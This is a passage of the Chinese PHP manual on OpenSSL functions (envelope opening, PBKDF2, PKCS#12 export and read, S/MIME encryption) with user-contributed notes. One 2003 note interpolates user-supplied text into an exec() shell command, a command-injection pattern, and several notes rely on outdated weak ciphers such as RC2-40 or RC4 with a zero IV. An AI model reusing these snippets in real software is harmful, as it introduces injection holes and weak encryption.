
iv

初始化向量。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 CSR 的 resource。
8.0.0 | cipher_algo 不再是可选参数。

示例

Example #1 openssl_open() 示例

<?php
// $sealed and $env_key are assumed to contain the sealed data
// and our envelope key, both given to us by the sealer.

// fetch private key from file and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// decrypt the data and store it in $open
if (openssl_open($sealed, $open, $env_key, $pkeyid)) {
echo "here is the opened data: ", $open;
} else {
echo "failed to open data";
}

// free the private key from memory
openssl_free_key($pkeyid);
?>

参见

  • openssl_seal() - 密封 (加密) 数据

User Contributed Notes

sdc 25-Jun-2011 02:31
PHP compiled without OpenSSL support? Here's how you can call the openssl command-line utility to achieve the same goal:

<?php
// $sealed and $env_key are assumed to contain the sealed data
// and our envelope key, both given to us by the sealer.

// specify private key file and passphrase
$pkey_file='key.pem';
$pkey_pp='netsvc';

// call openssl to decrypt envelope key
$ph=proc_open('openssl rsautl -decrypt -inkey '.
 escapeshellarg($pkey_file).' -passin fd:3',array(
  0 => array('pipe','r'), // stdin < envelope key
  1 => array('pipe','w'), // stdout > decoded envelope key
  2 => STDERR,
  3 => array('pipe','r'), // < passphrase
 ),$pipes);
// write envelope key
fwrite($pipes[0],$env_key);
fclose($pipes[0]);
// write private key passphrase
fwrite($pipes[3],$pkey_pp);
fclose($pipes[3]);
// read decoded key, convert to hexadecimal
$env_key='';
while(!feof($pipes[1])){
  $env_key.=sprintf("%02x",ord(fgetc($pipes[1])));
}
fclose($pipes[1]);
if($xc=proc_close($ph)){
  echo "Exit code: $xc\n";
}

// call openssl to decryp
$ph=proc_open('openssl rc4 -d -iv 0 -K '.$env_key,array(
  0 => array('pipe','r'), // stdin < sealed data
  1 => array('pipe','w'), // stdout > opened data
  2 => STDERR,
 ),$pipes);
// write sealed data
fwrite($pipes[0],$sealed);
fclose($pipes[0]);
// read opened data
//$open=stream_get_contents($pipes[1]);
$open='';
while(!feof($pipes[1])){
  $open.=fgets($pipes[1]);
}
fclose($pipes[1]);
if($xc=proc_close($ph)){
  echo "Exit code: $xc\n";
}

// display the decrypted data
echo $open;

?>
Gareth Owen 17-Feb-2009 08:20
Example code, assume mycert.pem is a certificate containing both private and public key.

$cert = file_get_contents("mycert.pem");

$public = openssl_get_publickey($cert);
$private = openssl_get_privatekey($cert);

$data = "I'm a lumberjack and I'm okay.";

echo "Data before: {$data}\n";
openssl_seal($data, $cipher, $e, array($public));

echo "Ciphertext: {$cipher}\n";

openssl_open($cipher, $open, $e[0], $private);
echo "Decrypted: {$open}\n";


生成一个 PKCS5 v2 PBKDF2 字符串

  • ? openssl_open
  • openssl_pkcs12_export_to_file ?
  • PHP Manual
  • OpenSSL 函数
  • 生成一个 PKCS5 v2 PBKDF2 字符串

openssl_pbkdf2

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

openssl_pbkdf2 — 生成一个 PKCS5 v2 PBKDF2 字符串

说明

openssl_pbkdf2(
string $password,
string $salt,
int $key_length,
int $iterations,
string $digest_algo = "sha1"
): string|false

openssl_pbkdf2() 计算 PBKDF2 (Password-Based Key Derivation Function 2), 在PKCS5 v2中定义的一个密钥的推导函数.

参数

password

派生密钥所生成的密码。

salt

PBKDF2 推荐一个不少于64位(8字节)的密码盐值。

key_length

希望输出密钥的长度。

iterations

需要的迭代次数 » NIST 建议至少10,000次.

digest_algo

在openssl_get_md_methods()中可选的散列或摘要算法.默认是 SHA-1.

返回值

成功，返回原始二进制字符串 或者在失败时返回 false.

示例

Example #1 openssl_pbkdf2() 示例

<?php
$password = 'password';
$salt = openssl_random_pseudo_bytes(16);
$keyLength = 20;
$iterations = 600000;
$generated_key = openssl_pbkdf2($password, $salt, $keyLength, $iterations, 'sha256');
echo bin2hex($generated_key)."\n";
echo base64_encode($generated_key)."\n";
?>

参见

  • hash_pbkdf2() - 生成所提供密码的 PBKDF2 密钥导出
  • openssl_get_md_methods() - 获取可用的摘要算法

User Contributed Notes

McGlockenshire 20-Mar-2014 08:10
Despite the manual claiming that this is available in PHP 5.5 and above, this function wasn't made available in my local install.

I expect that having a prehistoric OpenSSL library version installed is the likely culprit.

If you're using PHP 5.5 and don't have this function available in your OpenSSL extension, look at the functionally equivalent hash_pbkdf2 function instead.


输出一个 PKCS#12 兼容的证书存储文件

  • ? openssl_pbkdf2
  • openssl_pkcs12_export ?
  • PHP Manual
  • OpenSSL 函数
  • 输出一个 PKCS#12 兼容的证书存储文件

openssl_pkcs12_export_to_file

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

openssl_pkcs12_export_to_file — 输出一个 PKCS#12 兼容的证书存储文件

说明

openssl_pkcs12_export_to_file(
OpenSSLCertificate|string $certificate,
string $output_filename,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
string $passphrase,
array $options = []
): bool

openssl_pkcs12_export_to_file() 以 PKCS#12 文件格式将 certificate 保存至 output_filename 文件中。

参数

x509

参见密钥／证书参数以获取有效值列表。

output_filename

输出文件的路径。

private_key

PKCS#12 文件的私钥部分。 参见 公/私钥参数 获取可用值的列表。

passphrase

用于解锁 PKCS#12 文件的加密密码。

options

可选数组，其他主键将被忽略。

Key | 说明
"extracerts" | PKCS#12 文件中包含的额外证书或单个证书的数组。
"friendly_name" | 被证书和密钥使用的字符串

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 CSR 的 resource。
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。

User Contributed Notes

greejd 27-Jan-2019 06:51
please note
the key 'friendlyname' should be 'friendly_name' in args

$args = array(
        'friendly_name'=> 'www.example.com'
);
lampacz at gmail dot com 02-Jul-2009 01:13
[, array $args ]  can contain only: extracerts, friendly_name

extracerts - additional certificates (can be file or string)
friendly_name - "friendly name" for the certificate and private key. This name is typically displayed in list boxes by software importing the file.

based on source code version 5.2.8 and pkcs12 man page


将 PKCS#12 兼容证书存储文件导出到变量

  • ? openssl_pkcs12_export_to_file
  • openssl_pkcs12_read ?
  • PHP Manual
  • OpenSSL 函数
  • 将 PKCS#12 兼容证书存储文件导出到变量

openssl_pkcs12_export

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

openssl_pkcs12_export — 将 PKCS#12 兼容证书存储文件导出到变量

说明

openssl_pkcs12_export(
OpenSSLCertificate|string $certificate,
string &$output,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
string $passphrase,
array $options = []
): bool

openssl_pkcs12_export() 以 PKCS#12 文件格式将 certificate 导入到名为 output 的字符串变量中。

参数

x509

参见密钥／证书参数以获取有效值列表。

output

成功，该字符串将为 PKCS#12 格式。

private_key

PKCS#12 文件的私钥部分file， 参见 公/私钥参数 获取更多可用列表。

passphrase

用来解锁 PKCS#12 文件的解密密码。

options

可选数组，其他主键将被忽略。

Key | 说明
"extracerts" | PKCS#12 文件中包含的额外证书或单个证书的数组。
"friendly_name" | 被证书和密钥使用的字符串

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 CSR 的 resource。
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。

User Contributed Notes

Robert 15-May-2014 05:36
If you need to provide multiple additional certificates, the 'extracerts' argument needs to be an array with one certificate per element:
<?php
$args = array(
    'extracerts' => array(
        0 => '-----BEGIN CERTIFICATE----- cert1 ...',
        1 => '-----BEGIN CERTIFICATE----- cert2 ...',
        // ...
        )
    );
?>

You can use this to prepare a PEM.

<?php
$pemChain = '...';
preg_match_all('/(-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----)/si', $pemChain, $matches);
$args = array('extracerts' => $matches[0]);
openssl_pkcs12_export($signed_csr, $cerificate_out, $private_key_resource, $passphrase, $args);
?>
ismael at privasy dot org 24-Apr-2014 09:38
in order to export a private key to pkcs12 format, the input certificate must contain both private and associated public key in PEM format ,

-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----

else this function might return the following error "openssl_pkcs12_export(): cannot get cert from parameter 1"
Anonymous 29-Nov-2013 12:24
If you want to include CA-Certificates in the PKCS12 it can be accomplished by using the $args parameter.
<?php
$args = array(
               'extracerts' => $CAcert,
               'friendly_name' => 'My signed cert by CA certificate'
              );
openssl_pkcs12_export($signed_csr, $cerificate_out, $private_key_resource, $passphrase, $args);
?>
mryom 29-Mar-2011 11:01
Example:

<?php
$key = openssl_pkey_get_private(Private_Key, Password);

openssl_pkcs12_export(Certificate, $iis, $key, Password);
?>
simoncpu was here 11-May-2010 02:28
If your certificate is not password-protected, just use null or a blank string.  Otherwise, this function won't work.


将 PKCS#12 证书存储区解析到数组中

  • ? openssl_pkcs12_export
  • openssl_pkcs7_decrypt ?
  • PHP Manual
  • OpenSSL 函数
  • 将 PKCS#12 证书存储区解析到数组中

openssl_pkcs12_read

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

openssl_pkcs12_read — 将 PKCS#12 证书存储区解析到数组中

说明

openssl_pkcs12_read(string $pkcs12, array &$certificates, string $passphrase): bool

openssl_pkcs12_read() 将 pkcs12 提供的 PKCS#12 证书存储区解析到以 certificates 命名的变量中。

参数

pkcs12

证书存储内容，而不是它的文件名。

certificates

成功，将保存证书存储数据

passphrase

用来解锁 PKCS#12 文件的解密密码

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 openssl_pkcs12_read() 示例

<?php
if (!$cert_store = file_get_contents("/certs/file.p12")) {
echo "Error: Unable to read the cert file\n";
exit;
}

if (openssl_pkcs12_read($cert_store, $cert_info, "my_secret_pass")) {
echo "Certificate Information\n";
print_r($cert_info);
} else {
echo "Error: Unable to read the cert store.\n";
exit;
}
?>

User Contributed Notes

at jornane.no 06-Nov-2023 09:45
In response to Rovinson (https://www.php.net/manual/en/function.openssl-pkcs12-read.php#128854):

> In PHP versions 8.2.6 and 8.2.7, OpenSSL 1.1.1 is still utilized.
> However, starting from PHP version 8.2.8 onwards, OpenSSL 3.0.9 is employed.

This is not correct; Debian 12 currently uses PHP 8.2.7, yet it does use OpenSSL 3.0.11. So for a version check, I would rather target PHP 8.2+.
rrequalwt 01-Nov-2023 08:47
Instead of enabling legacy providers for your private key container to work with openssl3 one can simply repack the container using recent openssl

openssl pkcs12 -legacy -in key.p12 -nodes -out key_decrypted.tmp

openssl pkcs12 -in key_decrypted.tmp -export -out key_new.p12
fran at fran dot cr 11-Oct-2023 12:10
Since OpenSSL 3, this function will fail with .p12 files that use legacy ciphers. Unfortunately, .p12 files generated today from a lot of Windows based CAs are using them by default.

OpenSSL 3 uses a provider mechanism where there is a legacy provider that supports these legacy ciphers, but it is disabled by default.

While PHP SSL module lacks a mechanism to enable the legacy provider, you need to modify the openssl.conf used by PHP by hand, it is usually the same used by the system openssl command, so the OPENSSLDIR path value returned by the "openssl version -d" command contains the openssl.conf file to modify. The llines that need to be added, modified or uncommented are the following to look like this:

openssl_conf = openssl_init

[openss_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1

This may require restarting the involved php service (php-fpm usually) to load the OpenSSL configuration changes.
InvisibleSmiley 28-Sep-2023 09:14
It really seems to depend on the OpenSSL version only. I checked:

OpenSSL 1:
- Linux Sury PHP 8.1 and 8.2
- Windows (according to what Anonymous reported here)

OpenSSL 3:
- Linux Ubuntu jammy (22.04 LTS) PHP 8.1
- Mac OS Homebrew PHP 8.1 and 8.2
Rovinson 04-Sep-2023 02:21
In response to Anonymous' note:(https://www.php.net/manual/es/function.openssl-pkcs12-read.php#128819)

In PHP versions 8.2.6 and 8.2.7, OpenSSL 1.1.1 is still utilized. However, starting from PHP version 8.2.8 onwards, OpenSSL 3.0.9 is employed.

I have conducted tests, and the function works correctly with all PHP versions using OpenSSL 1, but it fails with OpenSSL 3 versions.
Also Anonymous 22-Aug-2023 01:52
In response to Anonymous' note:(https://www.php.net/manual/en/function.openssl-pkcs12-read.php#128790)

I'm using 8.2.6 on Windows and this function is working without issue.
Anonymous 11-Aug-2023 11:02
The openssl_pkcs12_read method does not work in PHP 8.2 due to the change in the OpenSSL library from version ^1 to ^3.


解密一个 S/MIME 加密的消息

  • ? openssl_pkcs12_read
  • openssl_pkcs7_encrypt ?
  • PHP Manual
  • OpenSSL 函数
  • 解密一个 S/MIME 加密的消息

openssl_pkcs7_decrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_decrypt — 解密一个 S/MIME 加密的消息

说明

openssl_pkcs7_decrypt(
string $input_filename,
string $output_filename,
OpenSSLCertificate|string $certificate,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string|null $private_key = null
): bool

使用由 certificate 和 private_key 指定的证书和与之关联的私钥解密 input_filename 文件中包含的 S/MIME 加密消息。

参数

input_filename

output_filename

解密的消息将被存入的文件中，以 output_filename 命名。

certificate

private_key

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 CSR 的 resource。

示例

Example #1 openssl_pkcs7_decrypt() 示例

<?php
// $cert and $key are assumed to contain your personal certificate and private
// key pair, and that you are the recipient of an S/MIME message
$infilename = "encrypted.msg"; // this file holds your encrypted message
$outfilename = "decrypted.msg"; // make sure you can write to this file

if (openssl_pkcs7_decrypt($infilename, $outfilename, $cert, $key)) {
echo "decrypted!";
} else {
echo "failed to decrypt!";
}
?>

User Contributed Notes

oliver at anonsphere dot com 28-Apr-2011 09:16
If you want to decrypt a received email, keep in mind that you need the full encrypted message including the mime header.

<?php

// Get the full message
$encrypted = imap_fetchmime($stream, $msg_number, "1", FT_UID);
$encrypted .= imap_fetchbody($stream, $msg_number, "1", FT_UID);

// Write the needed temporary files
$infile = tempnam("", "enc");
file_put_contents($infile, $encrypted);
$outfile = tempnam("", "dec");

// The certification stuff
$public = file_get_contents("/path/to/your/cert.pem");
$private = array(file_get_contents("/path/to/your/cert.pem"), "password");

// Ready? Go!
if(openssl_pkcs7_decrypt($infile, $outfile, $public, $private))
{
    // Decryption successful
    echo file_get_contents($outfile);
}
else
{
    // Decryption failed
    echo "Oh oh! Decryption failed!";
}

// Remove the temp files
@unlink($infile);
@unlink($outfile);

?>


加密一个 S/MIME 消息

  • ? openssl_pkcs7_decrypt
  • openssl_pkcs7_read ?
  • PHP Manual
  • OpenSSL 函数
  • 加密一个 S/MIME 消息

openssl_pkcs7_encrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_encrypt — 加密一个 S/MIME 消息

说明

openssl_pkcs7_encrypt(
string $input_filename,
string $output_filename,
OpenSSLCertificate|array|string $certificate,
?array $headers,
int $flags = 0,
int $cipher_algo = OPENSSL_CIPHER_AES_128_CBC
): bool

openssl_pkcs7_encrypt() 获取名为 input_filename 的文件内容并使用 RC2 40 位的密码将之加密，以至于他们只能被预期的名为 certificate 的接收者阅读。

参数

input_filename

output_filename

certificate

一个单独的X.509证书，或者一个X.509证书的数组。

headers

headers 是包含头信息的数组，在被加密后将对数据进行预处理。

headers 可以是以头名为键值的关联数组，也可以是一个索引数组，其中每个元素都包含一个单独的标题行

flags

flags用来指定影响编码过程的选项 - 参见 PKCS7 常量.

cipcipher_algoherid

密码常量之一。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 默认密码算法（cipher_algo）现在是 AES-128-CBC（OPENSSL_CIPHER_AES_128_CBC）。以前，使用 PKCS7/CMS (OPENSSL_CIPHER_RC2_40)。
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 CSR 的 resource。

示例

Example #1 openssl_pkcs7_encrypt() 示例

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk. You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = file_get_contents("nighthawk.pem");

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
array("To" => "nighthawk@example.com", // keyed syntax
"From: HQ <hq@example.com>", // indexed syntax
"Subject" => "Eyes only"))) {
// message encrypted - send it!
exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

User Contributed Notes

Matthias Barkhausen 23-Apr-2020 12:34
To successfully sign and encrypt an plain text E-Mail to send to and to be able to read by Outlook and iOS Mail you need to first sign w/o headers and use the PKCS7_TEXT constant, then encrypt with headers and cipherid 3DES, then send with sendmail/ssmtp with -t option.

Reason for 3DES ist that iOS (or Apple in general) doesnt further accept the RC40 default encryption openssl-pkcs7-encrypt is using. Outlook would decrypt such encryption, but iOS Mail just said "this mail has no content" and "install a profile containing your identity...".

$headers = array("To" => ...,
         "From" => ...,
         "Subject" => ...);

openssl_pkcs7_sign("msg.txt","signed.txt", $mMyCertFileToIncludeForRecipient,array($mMyPrivKeyFileAsPEM, "passphrase"),array(),PKCS7_TEXT);

openssl_pkcs7_encrypt("signed.txt","enc.txt",$pubkeyContents,$headers,0,OPENSSL_CIPHER_3DES);

shell_exec("ssmtp -t < enc.txt") #sendmail same syntax
Anonymous 28-Mar-2016 09:07
The example code is wrong (at least as of 4.2.0).  The recipcerts parameter is either the actual text of the base64 encoded key file, or it must be a filename in "file://..." format.  A normal path will not work (OpenSSL tries to use the path as the actual certificate).  The above code works as:

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "example@example.com", // keyed syntax
          "From: HQ <hq@cia.com>", // indexed syntax
          "Subject" => "Eyes only")))
{
    // message encrypted - send it!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

[You can also pass an array of recipcerts values, but I haven't used that so I don't know what it's expecting.]
Anonymous 13-Mar-2012 02:37
To build on what people have already done, below is a function that takes a from address, an array of e-mails/public keys, a subject, and a message and sends out an encrypted message using the appropriate public key.

Since we're sending an encrypted message, the assumption is that what we're sending is actually critical. As a result the files used for sending the message are immediately shredded.

$recipients = Array("user@example.com"=>file_get_contents("cert.pem"));
$body = 'secret text';
   sendSignedMail("me@examplel.com", $recipients, "Test Message", $body);

  //Recepients is an array of e-mail address=>Key
  function sendSignedMail($from, $recepients, $subject, $body){
    foreach($recepients AS $email=>$key){
      $tfn_in = tempnam("/tmp", "b");
      $tfn_out = tempnam("/tmp", "e");

      $handle = fopen($tfn_in, "w");
      fwrite($handle, $body);
      fclose($handle);

      openssl_pkcs7_encrypt($tfn_in, $tfn_out, $key,
          array("To" => $email,
                "From" => $from,
                "Subject" => $subject), 0);
      $data = file_get_contents($tfn_out);

      //Shred the files since this is sensitive data.
      $handle = popen("/usr/bin/shred -n 3 -u $tfn_in", 'r');
      pclose($handle);
      $handle = popen("/usr/bin/shred -n 3 -u $tfn_out", 'r');
      pclose($handle);

      $parts = explode("\n\n", $data, 2);//Fixes headers in mail function

      mail($email, $subject, $parts[1], $parts[0]);

    }

  }
Ryan Schaffner 01-Feb-2012 08:16
After tinkering around for about an hour, I found this that might help someone.  When you export your certificate, make sure it is a base-64 certificate, as the DER-encoded cannot be read by these functions.  Windows want's to default to DER.  IT MUST BE Base-64 cert for these to work.
1matqo1 at azet dot sk 04-Mar-2010 02:30
For everyone who spent lots of time trying to encrypt multipart/alternative emailwith no success:

1.) put complete email (header together with body) into file to encrypt as in example from koen:
<?php
$body = file_get_contents("body.txt");
$msg = $enc_header.$body;
file_put_contents("msg.txt", $msg);
?>

2.) headers array sent to openssl_pkcs7_encrypt can`t contain some of headers, it conflicts/doubles and some clients have problems with it - i.e. Thunderbird don`t show you email body. For me worked headers: "Subject", "To", "From", "Reply-To", "Date","Return-Receipt","Message-ID","CC", "X-Priority", "X-Mailer"

one more thing - if your public key for encryption is not working, check if you are sending certificate with key, not only pure key(must be certificate)

Good luck to everyone, its a little bit hard because of small amount of documentation which is sometimes confusing...
koen dot thomeer at pubmed dot be 16-Jul-2008 06:15
In the previous example, the decrypted message couldn't be read by the 'popular' mail clients. Those mail clients needed also headers in the encrypted part.

I also noticed that there were some double headers in the previous example ('To:' and 'Subject:' were not overriden by the Headers parameter in mail()). This is also corrected by unsetting 'To:' and 'Subject:' in $headers_msg.

body.txt is the file with the mail body.
publickey.cer is the file with the public certificate.

<?php
// Setup mail headers.
$headers = array("From" => "from@mail.com", "To" => "to@mail.com", "Subject" => "Encrypted mail readable with most clients", "X-Mailer" => "PHP/".phpversion());

// Get the public key certificate.
$pubkey = file_get_contents("publickey.cer");

// Header for encrypted part
$eol = "\r\n";
$enc_header .= "From: ".$headers['From'].$eol;
$enc_header .= "To: ".$headers['To'].$eol;
$enc_header .= "Subject: ".$headers['Subject'].$eol;
$enc_header .= "Content-Type: text/plain; format=flowed; charset=\"iso-8859-1\"; reply-type=original".$eol;
$enc_header .= "Content-Transfer-Encoding: 7bit".$eol;
$enc_header .= "\n";

// Prepend header for encrypted message
$body = file_get_contents("body.txt");
$msg = $enc_header.$body;
file_put_contents("msg.txt", $msg);

// Remove some double headers for mail()
$headers_msg = $headers;
unset($headers_msg['To'], $headers_msg['Subject']);

// Encrypt message
openssl_pkcs7_encrypt("msg.txt", "enc.txt",$pubkey,$headers_msg,0,1);

// Seperate headers and body for mail()
$data = file_get_contents("enc.txt");
$parts = explode("\n\n", $data, 2);

// send mail
mail($headers['To'], $headers['Subject'], $parts[1], $parts[0]);
?>
bob at bobscheffler dot com 04-Aug-2005 05:58
It's not worth it.  Honestly, it would sound like a great idea, but it is such a pain in the arse.  I have done so using asp, but have not yet found a way (or really tried for that matter) to do this using PGP.  Using asp took me a full day to do (had to judo-kung foo chop a little for it to work correctly).  Peace--
ungdi at hotmail dot com 16-Mar-2005 03:19
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

*** What do you do first? Sign then Encrypt? Or Encrypt then Sign?

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

*** Example of doing both signing AND encrypting.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

*** Example of signing and encrypting executed from a routine function for code reusability through a program.

THIS IS WRONG!:
<?
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
      $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
ungdi AT hotmail DOT com 12-Aug-2004 11:07
As of PHP 5.0.0, you have the ability to choose between 64 bit RC2 encryption OR 128 bit RC2 encryption.

The new function description should now be:
bool openssl_pkcs7_encrypt ( string infile, string outfile, mixed recipcerts, array headers [, int flags] [,int cipher])

Where the int value of cipher is 0 or 1. 0 = 64 bit and 1 = 128 bit.
richardaburton at hotmail dot com 15-Oct-2003 05:38
Using sendmail isn't very portable, and seems daft since PHP has the mail function which will do the job. Problem is how do you use the mail function to send this email, since it's already complete with headers?

If you pull in the contents of the file produced by openssl_pkcs7_encrypt and pass this as the message data to the mail command, you end up with an email with two sets of headers (one set from the encrypt function, another added by the mail command). The result is that the second set of headers (which tell the mail client the email is encrypted) get ignored and the (base64 encoded) encrypted mail is shown as-is, rather than being decrypted.

The solution is quite simple, but it took me a little while to think of it, so I'm sharing it here. Once you load the contents of the file, split the headers off the body. Then pass the headers as the additional_headers parameter to the mail function, and just the body of the email as the message parameter of the mail function.

You will need to specify the to & subject parameters, but these will be overriden in the final email (as delievered to the recipiant) by the ones from the real encrypted email.

<?php

$pubkey = file_get_contents("cert.pem");

openssl_pkcs7_encrypt("msg.txt", "enc.txt", $pubkey,
    array("To" => "nighthawk@example.com",
          "From" => "HQ <hq@example.com>",
          "Subject" => "Eyes only"), 0)

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);

?>

Richard.
richardaburton at hotmail dot com 15-Oct-2003 05:31
If you don't like the idea of only using RC2/40bit you can always recompile the php_openssl extension. Simply search through the extensions openssl.c source file for the EVP_rc2_40_cbc() call, which selects this cipher. Replace the call to select another better cipher such as EVP_rc2_cbc() (RC2/128bit) or EVP_des_ede3_cbc() (triple-DES).

I patched the source to allow the selection of cipher as an extra parameter, but got the latest source from CVS to submit a patch and it appears the work has already been done, so looks like we will see this feature in pretty soon.

Richard.
20-May-2003 08:16
It is a bit scary to use only RC2/40bit considering that has been already so exposed as vulnerable to brute-force cracking (see for example www.distributed.net)

Here is an alternate method which allows stronger encryption (128bit.) This works on Solaris 8 but could be adapted for e.g. Linux by removing the "-rand" parameter and its randomfile name.

-------------snippet-------------------

$execstring=  "echo \"" . $yourbodytext . "\" | /usr/local/ssl/bin/openssl smime -encrypt -rc2-128 -rand /usr/local/apache/yoursecuredir/randomfile -text  -to " .  $recipient . " -from someuser@example.com -subject \"" . $subject . "\"  /usr/local/apache/yoursecuredir/usercerts/someuser.pem | /usr/lib/sendmail -t";

exec($execstring,$returndata,$resultcode);

-------------snippet-------------------

It requires the .pem format for the user certificate.  Assuming you already got a certificate from a commercial CA such as www.thawte.com then it is fairly simple to export it from your browser WITHOUT --REPEAT-- WITHOUT its private key and copy it to the PHP/web server. The export process is browser-specific but assuming MS Internet Explorer you require the menu selection tools -> internet options -> content -> certificates -> (highlight your cert in the list) -> export wizard.

The exported file will probably be in DER-encoded binary
with a name like "whatever.CER" and you need to convert it to Privacy Enhanced message (PEM) format. Typically you would now transfer the file to the *nix machine and the command for doing this conversion is, for example:

/usr/local/ssl/bin/openssl x509 -inform DER -outform PEM -in someuser.cer -out someuser.pem

When adapting this code it is of course as always vital to ensure that the values ($recipient etc.) being passed into the system call are acquired in a clean way that avoids trusting user-supplied data.
glyn at tomkins dot net 03-May-2003 01:50
I have been struggling to get openssl_pkcs7_encrypt() to work just as I need it to do but through my perseverence I have prevailed.  The issues I came across were due to my very incomplete understanding of S/MIME, MIME and email headers.

First, both the example in the manual and the correction offered by msisolak above are also slightly incorrect.  Let me explain in lay terms how the problem arises ...

email messages are constructed as follows

headers
blank line
content

For S/MIME, the message is encrypted (including headers) and further headers are wrapped around the encrypted message, like so:

S/MIME headers
blank line
encrypted MIME headers
encrypted blank line
